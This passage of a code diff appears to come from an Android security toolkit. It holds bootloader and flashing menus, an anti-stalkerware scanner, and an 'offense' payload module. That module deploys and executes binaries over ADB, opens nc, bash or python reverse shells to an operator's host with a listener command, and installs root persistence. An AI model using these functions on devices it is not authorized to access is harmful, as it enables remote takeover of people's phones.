def flash_recovery(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
img = input(" Recovery image path: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not img:
|
||||
return
|
||||
print(" Flashing recovery...")
|
||||
result = self.mgr.flash_recovery(self.serial, img)
|
||||
if result.get('success'):
|
||||
print(f" Flash started (op: {result.get('op_id', '?')})")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def flash_boot(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
img = input(" Boot image path: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not img:
|
||||
return
|
||||
print(" Flashing boot...")
|
||||
result = self.mgr.flash_boot(self.serial, img)
|
||||
if result.get('success'):
|
||||
print(f" Flash started (op: {result.get('op_id', '?')})")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def disable_verity(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
vbmeta = input(" vbmeta image path (optional, Enter to skip): ").strip() or None
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
print(" Disabling dm-verity/AVB...")
|
||||
result = self.mgr.disable_verity(self.serial, vbmeta)
|
||||
print(f" Result: {result.get('output', 'Done')}")
|
||||
print(f" Method: {result.get('method', '?')}")
|
||||
|
||||
def temp_boot(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
img = input(" Boot image path: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not img:
|
||||
return
|
||||
print(" Temp-booting image (no permanent flash)...")
|
||||
result = self.mgr.boot_temp(self.serial, img)
|
||||
if result['success']:
|
||||
print(" Device booting from temporary image.")
|
||||
else:
|
||||
print(f" Error: {result.get('output', 'Failed')}")
|
||||
|
||||
def run_interactive(self):
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(" Select > ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if choice == '0':
|
||||
break
|
||||
actions = {
|
||||
'1': self.bootloader_info,
|
||||
'2': self.backup_boot,
|
||||
'3': self.unlock_bootloader,
|
||||
'4': self.flash_recovery,
|
||||
'5': self.flash_boot,
|
||||
'6': self.disable_verity,
|
||||
'7': self.temp_boot,
|
||||
's': self._select_device,
|
||||
}
|
||||
action = actions.get(choice)
|
||||
if action:
|
||||
action()
|
||||
else:
|
||||
print(" Invalid choice.")
|
||||
|
||||
|
||||
def run():
|
||||
m = AndroidBoot()
|
||||
m.run_interactive()
|
||||
@@ -0,0 +1,191 @@
|
||||
"""
|
||||
Android Payload Deployment - Deploy binaries, reverse shells, persistence
|
||||
"""
|
||||
|
||||
DESCRIPTION = "Android payload deployment (binaries, reverse shells, persistence)"
|
||||
AUTHOR = "AUTARCH"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "offense"
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
|
||||
|
||||
|
||||
class AndroidPayload:
|
||||
"""Interactive menu for Android payload deployment."""
|
||||
|
||||
def __init__(self):
|
||||
from core.android_exploit import get_exploit_manager
|
||||
from core.hardware import get_hardware_manager
|
||||
self.mgr = get_exploit_manager()
|
||||
self.hw = get_hardware_manager()
|
||||
self.serial = None
|
||||
|
||||
def _select_device(self):
|
||||
devices = self.hw.adb_devices()
|
||||
if not devices:
|
||||
print(" No ADB devices connected.")
|
||||
return
|
||||
if len(devices) == 1:
|
||||
self.serial = devices[0]['serial']
|
||||
print(f" Selected: {self.serial}")
|
||||
return
|
||||
print("\n Select device:")
|
||||
for i, d in enumerate(devices, 1):
|
||||
model = d.get('model', '')
|
||||
print(f" {i}) {d['serial']} {model}")
|
||||
try:
|
||||
choice = int(input(" > ").strip())
|
||||
if 1 <= choice <= len(devices):
|
||||
self.serial = devices[choice - 1]['serial']
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
pass
|
||||
|
||||
def _ensure_device(self):
|
||||
if not self.serial:
|
||||
self._select_device()
|
||||
return self.serial is not None
|
||||
|
||||
def show_menu(self):
|
||||
print(f"\n{'='*50}")
|
||||
print(" Payload Deployment")
|
||||
print(f"{'='*50}")
|
||||
print(f" Device: {self.serial or '(none)'}")
|
||||
print()
|
||||
print(" [1] Deploy Binary")
|
||||
print(" [2] Execute Payload")
|
||||
print(" [3] Setup Reverse Shell")
|
||||
print(" [4] Install Persistence [ROOT]")
|
||||
print(" [5] List Running Payloads")
|
||||
print(" [6] Kill Payload")
|
||||
print(" [s] Select Device")
|
||||
print(" [0] Back")
|
||||
print()
|
||||
|
||||
def deploy_binary(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
local = input(" Local binary path: ").strip()
|
||||
remote = input(" Remote path [/data/local/tmp/]: ").strip() or '/data/local/tmp/'
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not local:
|
||||
return
|
||||
print(" Deploying...")
|
||||
result = self.mgr.deploy_binary(self.serial, local, remote)
|
||||
if result['success']:
|
||||
print(f" Deployed to: {result['remote_path']}")
|
||||
else:
|
||||
print(f" Error: {result['error']}")
|
||||
|
||||
def execute_payload(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
remote = input(" Remote path: ").strip()
|
||||
args = input(" Arguments []: ").strip()
|
||||
bg = input(" Background? [Y/n]: ").strip().lower() != 'n'
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not remote:
|
||||
return
|
||||
print(" Executing...")
|
||||
result = self.mgr.execute_payload(self.serial, remote, args=args, background=bg)
|
||||
if result['success']:
|
||||
if result['background']:
|
||||
print(f" Running in background, PID: {result['pid']}")
|
||||
else:
|
||||
print(f" Output:\n{result['output']}")
|
||||
else:
|
||||
print(f" Error: {result.get('output', 'Failed')}")
|
||||
|
||||
def reverse_shell(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
lhost = input(" LHOST (your IP): ").strip()
|
||||
lport = input(" LPORT: ").strip()
|
||||
print(" Methods: nc, bash, python")
|
||||
method = input(" Method [nc]: ").strip() or 'nc'
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not lhost or not lport:
|
||||
return
|
||||
print(f" Setting up {method} reverse shell to {lhost}:{lport}...")
|
||||
result = self.mgr.setup_reverse_shell(self.serial, lhost, int(lport), method)
|
||||
if result['success']:
|
||||
print(f" Reverse shell initiated ({method})")
|
||||
print(f" Catch with: nc -lvnp {lport}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def persistence(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
method = input(" Method [init.d]: ").strip() or 'init.d'
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
print(" Installing persistence (requires root)...")
|
||||
result = self.mgr.install_persistence(self.serial, method)
|
||||
if result['success']:
|
||||
print(f" Installed at: {result['path']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def list_payloads(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.list_running_payloads(self.serial)
|
||||
if not result['success']:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
return
|
||||
if not result['payloads']:
|
||||
print(" No running payloads found in /data/local/tmp/")
|
||||
return
|
||||
print(f"\n Found {result['count']} running payloads:")
|
||||
for p in result['payloads']:
|
||||
print(f" PID {p['pid']}: {p['command']}")
|
||||
|
||||
def kill_payload(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
pid = input(" PID to kill: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not pid:
|
||||
return
|
||||
result = self.mgr.kill_payload(self.serial, pid)
|
||||
print(f" Kill signal sent to PID {pid}")
|
||||
|
||||
def run_interactive(self):
|
||||
while True:
|
||||
self.show_menu()
|
||||
try:
|
||||
choice = input(" Select > ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
break
|
||||
if choice == '0':
|
||||
break
|
||||
actions = {
|
||||
'1': self.deploy_binary,
|
||||
'2': self.execute_payload,
|
||||
'3': self.reverse_shell,
|
||||
'4': self.persistence,
|
||||
'5': self.list_payloads,
|
||||
'6': self.kill_payload,
|
||||
's': self._select_device,
|
||||
}
|
||||
action = actions.get(choice)
|
||||
if action:
|
||||
action()
|
||||
else:
|
||||
print(" Invalid choice.")
|
||||
|
||||
|
||||
def run():
|
||||
m = AndroidPayload()
|
||||
m.run_interactive()
|
||||
@@ -0,0 +1,936 @@
|
||||
"""
|
||||
Android Protection Shield - Anti-stalkerware & anti-spyware defense
|
||||
Detect, analyze, and remove stalkerware and government-grade spyware from Android devices.
|
||||
"""
|
||||
|
||||
DESCRIPTION = "Android anti-stalkerware/spyware shield"
|
||||
AUTHOR = "AUTARCH"
|
||||
VERSION = "1.0"
|
||||
CATEGORY = "defense"
|
||||
|
||||
|
||||
class AndroidProtect:
|
||||
"""Interactive Android protection menu."""
|
||||
|
||||
def __init__(self):
|
||||
from core.android_protect import get_android_protect_manager
|
||||
from core.hardware import get_hardware_manager
|
||||
self.mgr = get_android_protect_manager()
|
||||
self.hw = get_hardware_manager()
|
||||
self.serial = None
|
||||
|
||||
def _pick_device(self):
|
||||
"""Select an ADB device."""
|
||||
devices = self.hw.adb_devices()
|
||||
if not devices:
|
||||
print(" No ADB devices connected.")
|
||||
return None
|
||||
if len(devices) == 1:
|
||||
self.serial = devices[0]['serial']
|
||||
return self.serial
|
||||
print("\n Select device:")
|
||||
for i, d in enumerate(devices, 1):
|
||||
model = d.get('model', '')
|
||||
print(f" {i}) {d['serial']} {model}")
|
||||
try:
|
||||
choice = int(input(" > ").strip())
|
||||
if 1 <= choice <= len(devices):
|
||||
self.serial = devices[choice - 1]['serial']
|
||||
return self.serial
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
pass
|
||||
return None
|
||||
|
||||
def _ensure_device(self):
|
||||
"""Ensure we have a selected device."""
|
||||
if self.serial:
|
||||
return self.serial
|
||||
return self._pick_device()
|
||||
|
||||
def _print_severity(self, sev):
|
||||
"""Color indicator for severity."""
|
||||
markers = {
|
||||
'critical': '[!!!]',
|
||||
'high': '[!! ]',
|
||||
'medium': '[! ]',
|
||||
'low': '[ ]',
|
||||
}
|
||||
return markers.get(sev, '[? ]')
|
||||
|
||||
def show_menu(self):
|
||||
status = self.hw.get_status()
|
||||
serial_str = self.serial or 'None selected'
|
||||
|
||||
# Shizuku/Shield info
|
||||
shizuku_str = 'N/A'
|
||||
shield_str = 'N/A'
|
||||
if self.serial:
|
||||
try:
|
||||
sz = self.mgr.check_shizuku(self.serial)
|
||||
if sz['installed']:
|
||||
shizuku_str = f"{'Running' if sz['running'] else 'Stopped'}"
|
||||
if sz['version']:
|
||||
shizuku_str += f" v{sz['version']}"
|
||||
else:
|
||||
shizuku_str = 'Not installed'
|
||||
sh = self.mgr.check_shield_app(self.serial)
|
||||
shield_str = f"v{sh['version']}" if sh['installed'] else 'Not installed'
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
sig_stats = self.mgr.get_signature_stats()
|
||||
|
||||
print(f"\n{'='*60}")
|
||||
print(" Android Protection Shield")
|
||||
print(f"{'='*60}")
|
||||
print(f" ADB: {'Available' if status['adb'] else 'Not found'}")
|
||||
print(f" Device: {serial_str}")
|
||||
print(f" Shizuku: {shizuku_str} | Shield: {shield_str}")
|
||||
print(f" DB: {sig_stats['stalkerware_packages']} packages, "
|
||||
f"{sig_stats['government_spyware']} govt spyware")
|
||||
print()
|
||||
print(" -- Quick Actions --")
|
||||
print(" 1) Quick Scan (fast)")
|
||||
print(" 2) Full Protection Scan")
|
||||
print(" 3) Export Scan Report")
|
||||
print()
|
||||
print(" -- Detection --")
|
||||
print(" 10) Scan Stalkerware")
|
||||
print(" 11) Scan Hidden Apps")
|
||||
print(" 12) Scan Device Admins")
|
||||
print(" 13) Scan Accessibility Services")
|
||||
print(" 14) Scan Notification Listeners")
|
||||
print(" 15) Scan Spyware Indicators (Pegasus/Predator)")
|
||||
print(" 16) Scan System Integrity")
|
||||
print(" 17) Scan Suspicious Processes")
|
||||
print(" 18) Scan Certificates (MITM)")
|
||||
print(" 19) Scan Network Config")
|
||||
print(" 20) Scan Developer Options")
|
||||
print()
|
||||
print(" -- Permission Analysis --")
|
||||
print(" 30) Find Dangerous Apps")
|
||||
print(" 31) Analyze App Permissions")
|
||||
print(" 32) Permission Heatmap")
|
||||
print()
|
||||
print(" -- Remediation --")
|
||||
print(" 40) Disable Threat")
|
||||
print(" 41) Uninstall Threat")
|
||||
print(" 42) Revoke Dangerous Permissions")
|
||||
print(" 43) Remove Device Admin")
|
||||
print(" 44) Remove Rogue CA Cert")
|
||||
print(" 45) Clear Proxy Settings")
|
||||
print()
|
||||
print(" -- Shizuku & Shield --")
|
||||
print(" 50) Shizuku Status")
|
||||
print(" 51) Install Shizuku")
|
||||
print(" 52) Start Shizuku Service")
|
||||
print(" 53) Install Shield App")
|
||||
print(" 54) Configure Shield")
|
||||
print(" 55) Grant Shield Permissions")
|
||||
print()
|
||||
print(" -- Database --")
|
||||
print(" 60) Signature Stats")
|
||||
print(" 61) Update Signatures")
|
||||
print()
|
||||
print(" -- Tracking Honeypot --")
|
||||
print(" 70) Honeypot Status")
|
||||
print(" 71) Scan Tracker Apps")
|
||||
print(" 72) Scan Tracker Permissions")
|
||||
print(" 73) View Ad Tracking Settings")
|
||||
print()
|
||||
print(" 74) Reset Advertising ID")
|
||||
print(" 75) Opt Out of Ad Tracking")
|
||||
print(" 76) Set Ad-Blocking DNS")
|
||||
print(" 77) Disable Location Scanning")
|
||||
print()
|
||||
print(" 78) Deploy Hosts Blocklist (root)")
|
||||
print(" 79) Setup Traffic Redirect (root)")
|
||||
print(" 80) Set Fake Location (root)")
|
||||
print(" 81) Random Fake Location (root)")
|
||||
print(" 82) Rotate Device Identity (root)")
|
||||
print(" 83) Generate Fake Fingerprint (root)")
|
||||
print()
|
||||
print(" 84) Activate Honeypot (all tiers)")
|
||||
print(" 85) Deactivate Honeypot")
|
||||
print()
|
||||
print(" 86) Tracker Domain Stats")
|
||||
print(" 87) Update Tracker Domains")
|
||||
print()
|
||||
print(" [s] Select Device")
|
||||
print(" 0) Back")
|
||||
print()
|
||||
|
||||
# ── Quick Actions ───────────────────────────────────────────────
|
||||
|
||||
def do_quick_scan(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Running quick scan on {self.serial}...")
|
||||
result = self.mgr.quick_scan(self.serial)
|
||||
summary = result.get('summary', {})
|
||||
print(f"\n {'='*50}")
|
||||
print(f" Quick Scan Results")
|
||||
print(f" {'='*50}")
|
||||
print(f" Threats found: {summary.get('threats_found', 0)}")
|
||||
print(f" Stalkerware: {summary.get('stalkerware', 0)}")
|
||||
print(f" Suspicious admins: {summary.get('suspicious_admins', 0)}")
|
||||
print(f" Malicious accessibility: {summary.get('malicious_accessibility', 0)}")
|
||||
|
||||
found = result.get('stalkerware', {}).get('found', [])
|
||||
if found:
|
||||
print(f"\n Stalkerware Detected:")
|
||||
for f in found:
|
||||
print(f" {self._print_severity(f['severity'])} {f['name']} ({f['package']})")
|
||||
print(f" {f['description']}")
|
||||
|
||||
def do_full_scan(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Running full protection scan on {self.serial}...")
|
||||
print(" This may take a few minutes...")
|
||||
result = self.mgr.full_protection_scan(self.serial)
|
||||
summary = result.get('summary', {})
|
||||
print(f"\n {'='*50}")
|
||||
print(f" Full Scan Results")
|
||||
print(f" {'='*50}")
|
||||
print(f" Total threats: {summary.get('threats_found', 0)}")
|
||||
print(f" System integrity: {summary.get('system_integrity', 'N/A')}")
|
||||
print(f" Hidden apps: {summary.get('hidden_apps', 0)}")
|
||||
print(f" Dangerous apps: {summary.get('dangerous_apps', 0)}")
|
||||
print(f" User CA certs: {summary.get('user_ca_certs', 0)}")
|
||||
|
||||
found = result.get('stalkerware', {}).get('found', [])
|
||||
if found:
|
||||
print(f"\n Stalkerware:")
|
||||
for f in found:
|
||||
print(f" {self._print_severity(f['severity'])} {f['name']} ({f['package']})")
|
||||
|
||||
spyware = result.get('spyware_indicators', {}).get('findings', [])
|
||||
if spyware:
|
||||
print(f"\n Government Spyware Indicators:")
|
||||
for s in spyware:
|
||||
print(f" {self._print_severity(s['severity'])} {s['name']}")
|
||||
for ind in s.get('indicators_matched', []):
|
||||
print(f" {ind['type']}: {ind['value']}")
|
||||
|
||||
def do_export_report(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Running full scan and exporting...")
|
||||
scan = self.mgr.full_protection_scan(self.serial)
|
||||
result = self.mgr.export_scan_report(self.serial, scan)
|
||||
if result.get('ok'):
|
||||
print(f" Report saved: {result['path']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Unknown')}")
|
||||
|
||||
# ── Detection ───────────────────────────────────────────────────
|
||||
|
||||
def do_scan_stalkerware(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning for stalkerware...")
|
||||
result = self.mgr.scan_stalkerware(self.serial)
|
||||
if result.get('error'):
|
||||
print(f" Error: {result['error']}")
|
||||
return
|
||||
print(f" Scanned {result['total']} packages, {result['clean_count']} clean")
|
||||
found = result.get('found', [])
|
||||
if found:
|
||||
print(f"\n Found {len(found)} threats:")
|
||||
for f in found:
|
||||
print(f" {self._print_severity(f['severity'])} {f['name']}")
|
||||
print(f" Package: {f['package']}")
|
||||
print(f" {f['description']}")
|
||||
else:
|
||||
print(" No stalkerware detected.")
|
||||
|
||||
def do_scan_hidden(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning for hidden apps...")
|
||||
result = self.mgr.scan_hidden_apps(self.serial)
|
||||
apps = result.get('hidden_apps', [])
|
||||
print(f" Found {len(apps)} hidden apps (no launcher icon):")
|
||||
for app in apps:
|
||||
print(f" - {app}")
|
||||
|
||||
def do_scan_admins(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning device admins...")
|
||||
result = self.mgr.scan_device_admins(self.serial)
|
||||
admins = result.get('admins', [])
|
||||
print(f" Found {len(admins)} device admins:")
|
||||
for a in admins:
|
||||
marker = " [SUSPICIOUS]" if a.get('suspicious') else ""
|
||||
print(f" - {a['package']}{marker}")
|
||||
|
||||
def do_scan_accessibility(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning accessibility services...")
|
||||
result = self.mgr.scan_accessibility_services(self.serial)
|
||||
services = result.get('services', [])
|
||||
if not services:
|
||||
print(" No accessibility services enabled.")
|
||||
return
|
||||
for s in services:
|
||||
status = s.get('status', 'unknown')
|
||||
marker = {'legitimate': '[OK]', 'malicious': '[BAD]', 'unknown': '[??]'}
|
||||
print(f" {marker.get(status, '[??]')} {s['package']}")
|
||||
|
||||
def do_scan_listeners(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning notification listeners...")
|
||||
result = self.mgr.scan_notification_listeners(self.serial)
|
||||
listeners = result.get('listeners', [])
|
||||
if not listeners:
|
||||
print(" No notification listeners enabled.")
|
||||
return
|
||||
for l in listeners:
|
||||
marker = " [SUSPICIOUS]" if l.get('suspicious') else ""
|
||||
print(f" - {l['package']}{marker}")
|
||||
|
||||
def do_scan_spyware(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning for government spyware indicators...")
|
||||
print(" Checking Pegasus, Predator, Hermit, FinSpy, etc...")
|
||||
result = self.mgr.scan_spyware_indicators(self.serial)
|
||||
print(f" Checked {result.get('spyware_checked', 0)} spyware families")
|
||||
findings = result.get('findings', [])
|
||||
if findings:
|
||||
print(f"\n ALERT: Found {len(findings)} indicators:")
|
||||
for f in findings:
|
||||
print(f" {self._print_severity(f['severity'])} {f['name']}")
|
||||
print(f" {f.get('description', '')}")
|
||||
for ind in f.get('indicators_matched', []):
|
||||
print(f" {ind['type']}: {ind['value']}")
|
||||
else:
|
||||
print(" No government spyware indicators found.")
|
||||
|
||||
def do_scan_integrity(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Checking system integrity...")
|
||||
result = self.mgr.scan_system_integrity(self.serial)
|
||||
print(f" Passed: {result['ok_count']}/{result['total']}")
|
||||
for name, check in result.get('checks', {}).items():
|
||||
status = "[OK]" if check['ok'] else "[!!]"
|
||||
print(f" {status} {check['description']}: {check['value']}")
|
||||
|
||||
def do_scan_processes(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning for suspicious processes...")
|
||||
result = self.mgr.scan_suspicious_processes(self.serial)
|
||||
findings = result.get('findings', [])
|
||||
if findings:
|
||||
print(f" Found {len(findings)} suspicious items:")
|
||||
for f in findings:
|
||||
print(f" [{f['severity'].upper()}] {f['type']}: {f['detail']}")
|
||||
else:
|
||||
print(" No suspicious processes found.")
|
||||
|
||||
def do_scan_certs(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning certificates...")
|
||||
result = self.mgr.scan_certificates(self.serial)
|
||||
certs = result.get('certs', [])
|
||||
if certs:
|
||||
print(f" Found {len(certs)} user-installed CA certs:")
|
||||
for c in certs:
|
||||
print(f" - {c['hash']}: {c['detail']}")
|
||||
else:
|
||||
print(" No user-installed CA certificates.")
|
||||
|
||||
def do_scan_network(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning network configuration...")
|
||||
result = self.mgr.scan_network_config(self.serial)
|
||||
for name, check in result.get('checks', {}).items():
|
||||
status = "[OK]" if check.get('ok', True) else "[!!]"
|
||||
desc = check.get('description', name)
|
||||
print(f" {status} {desc}: {check['value']}")
|
||||
|
||||
def do_scan_devopt(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Scanning developer options...")
|
||||
result = self.mgr.scan_developer_options(self.serial)
|
||||
for name, check in result.get('checks', {}).items():
|
||||
marker = "[ON] " if check.get('enabled') else "[OFF]"
|
||||
print(f" {marker} {check['description']}: {check['value']}")
|
||||
|
||||
# ── Permission Analysis ─────────────────────────────────────────
|
||||
|
||||
def do_dangerous_apps(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Finding apps with dangerous permission combos...")
|
||||
print(" This may take a while...")
|
||||
result = self.mgr.find_dangerous_apps(self.serial)
|
||||
dangerous = result.get('dangerous', [])
|
||||
if dangerous:
|
||||
print(f"\n Found {len(dangerous)} dangerous apps:")
|
||||
for d in dangerous:
|
||||
print(f" {self._print_severity(d['severity'])} {d['package']}")
|
||||
print(f" Pattern: {d['combo']}")
|
||||
print(f" Perms: {', '.join(d['matched_perms'])}")
|
||||
else:
|
||||
print(" No apps with dangerous permission combos found.")
|
||||
|
||||
def do_analyze_perms(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
package = input(" Package name: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not package:
|
||||
return
|
||||
result = self.mgr.analyze_app_permissions(self.serial, package)
|
||||
if result.get('error'):
|
||||
print(f" Error: {result['error']}")
|
||||
return
|
||||
perms = result.get('permissions', {})
|
||||
info = result.get('info', {})
|
||||
print(f"\n {package}")
|
||||
if info:
|
||||
for k, v in info.items():
|
||||
print(f" {k}: {v}")
|
||||
print(f"\n Granted ({len(perms.get('granted', []))}):")
|
||||
for p in perms.get('granted', []):
|
||||
print(f" + {p}")
|
||||
print(f" Denied ({len(perms.get('denied', []))}):")
|
||||
for p in perms.get('denied', []):
|
||||
print(f" - {p}")
|
||||
|
||||
def do_perm_heatmap(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(f"\n Building permission heatmap...")
|
||||
print(" This scans all non-system apps, may take a while...")
|
||||
result = self.mgr.permission_heatmap(self.serial)
|
||||
matrix = result.get('matrix', [])
|
||||
perm_names = result.get('permission_names', [])
|
||||
if not matrix:
|
||||
print(" No apps with dangerous permissions found.")
|
||||
return
|
||||
# Print header
|
||||
short = [p[:8] for p in perm_names]
|
||||
header = f" {'Package':<35} " + " ".join(f"{s:<8}" for s in short)
|
||||
print(f"\n{header}")
|
||||
print(f" {'-'*len(header)}")
|
||||
for row in matrix[:30]: # Limit display
|
||||
pkg = row['package'][:34]
|
||||
perms = row['permissions']
|
||||
cells = " ".join(
|
||||
f"{' X ' if perms.get(p) else ' . '}"
|
||||
for p in perm_names
|
||||
)
|
||||
print(f" {pkg:<35} {cells}")
|
||||
if len(matrix) > 30:
|
||||
print(f" ... and {len(matrix) - 30} more apps")
|
||||
|
||||
# ── Remediation ─────────────────────────────────────────────────
|
||||
|
||||
def _get_package_input(self, prompt=" Package to target: "):
|
||||
try:
|
||||
return input(prompt).strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return ''
|
||||
|
||||
def do_disable(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
pkg = self._get_package_input()
|
||||
if not pkg:
|
||||
return
|
||||
result = self.mgr.disable_threat(self.serial, pkg)
|
||||
if result.get('ok'):
|
||||
print(f" Disabled: {pkg}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_uninstall(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
pkg = self._get_package_input()
|
||||
if not pkg:
|
||||
return
|
||||
try:
|
||||
confirm = input(f" Uninstall {pkg}? (y/N): ").strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if confirm != 'y':
|
||||
print(" Cancelled.")
|
||||
return
|
||||
result = self.mgr.uninstall_threat(self.serial, pkg)
|
||||
if result.get('ok'):
|
||||
print(f" Uninstalled: {pkg}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_revoke(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
pkg = self._get_package_input()
|
||||
if not pkg:
|
||||
return
|
||||
result = self.mgr.revoke_dangerous_perms(self.serial, pkg)
|
||||
print(f" Revoked: {', '.join(result['revoked'])}")
|
||||
if result['failed']:
|
||||
print(f" Failed: {', '.join(result['failed'])}")
|
||||
|
||||
def do_remove_admin(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
pkg = self._get_package_input()
|
||||
if not pkg:
|
||||
return
|
||||
result = self.mgr.remove_device_admin(self.serial, pkg)
|
||||
if result.get('ok'):
|
||||
print(f" Removed device admin: {result.get('message', pkg)}")
|
||||
else:
|
||||
print(f" Error: {result.get('error', 'Failed')}")
|
||||
|
||||
def do_remove_cert(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
# List certs first
|
||||
certs = self.mgr.scan_certificates(self.serial).get('certs', [])
|
||||
if not certs:
|
||||
print(" No user CA certs to remove.")
|
||||
return
|
||||
print(" User CA certificates:")
|
||||
for i, c in enumerate(certs, 1):
|
||||
print(f" {i}) {c['hash']}: {c['detail']}")
|
||||
try:
|
||||
choice = int(input(" Remove #: ").strip())
|
||||
if 1 <= choice <= len(certs):
|
||||
result = self.mgr.remove_ca_cert(self.serial, certs[choice - 1]['hash'])
|
||||
if result.get('ok'):
|
||||
print(f" Removed.")
|
||||
else:
|
||||
print(f" Error: {result.get('error')}")
|
||||
except (ValueError, EOFError, KeyboardInterrupt):
|
||||
pass
|
||||
|
||||
def do_clear_proxy(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.clear_proxy(self.serial)
|
||||
for r in result.get('results', []):
|
||||
status = "OK" if r['ok'] else "FAIL"
|
||||
print(f" [{status}] {r['setting']}")
|
||||
|
||||
# ── Shizuku & Shield ────────────────────────────────────────────
|
||||
|
||||
def do_shizuku_status(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.shizuku_status(self.serial)
|
||||
print(f"\n Shizuku Status:")
|
||||
print(f" Installed: {result['installed']}")
|
||||
print(f" Running: {result.get('running', False)}")
|
||||
print(f" Version: {result.get('version', 'N/A')}")
|
||||
|
||||
def do_install_shizuku(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
apk = input(" Shizuku APK path: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not apk:
|
||||
return
|
||||
result = self.mgr.install_shizuku(self.serial, apk)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error')}")
|
||||
|
||||
def do_start_shizuku(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
result = self.mgr.start_shizuku(self.serial)
|
||||
if result.get('ok'):
|
||||
print(f" Shizuku started: {result.get('output', '')}")
|
||||
else:
|
||||
print(f" Error: {result.get('error')}")
|
||||
|
||||
def do_install_shield(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
try:
|
||||
apk = input(" Shield APK path: ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
if not apk:
|
||||
return
|
||||
result = self.mgr.install_shield_app(self.serial, apk)
|
||||
if result.get('ok'):
|
||||
print(f" {result['message']}")
|
||||
else:
|
||||
print(f" Error: {result.get('error')}")
|
||||
|
||||
def do_configure_shield(self):
|
||||
if not self._ensure_device():
|
||||
return
|
||||
print(" Shield Configuration (JSON):")
|
||||
try:
|
||||
config_str = input(" > ").strip()
|
||||
config = json.loads(config_str)
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
return
|
||||
except json.JSONDecodeError:
|
||||
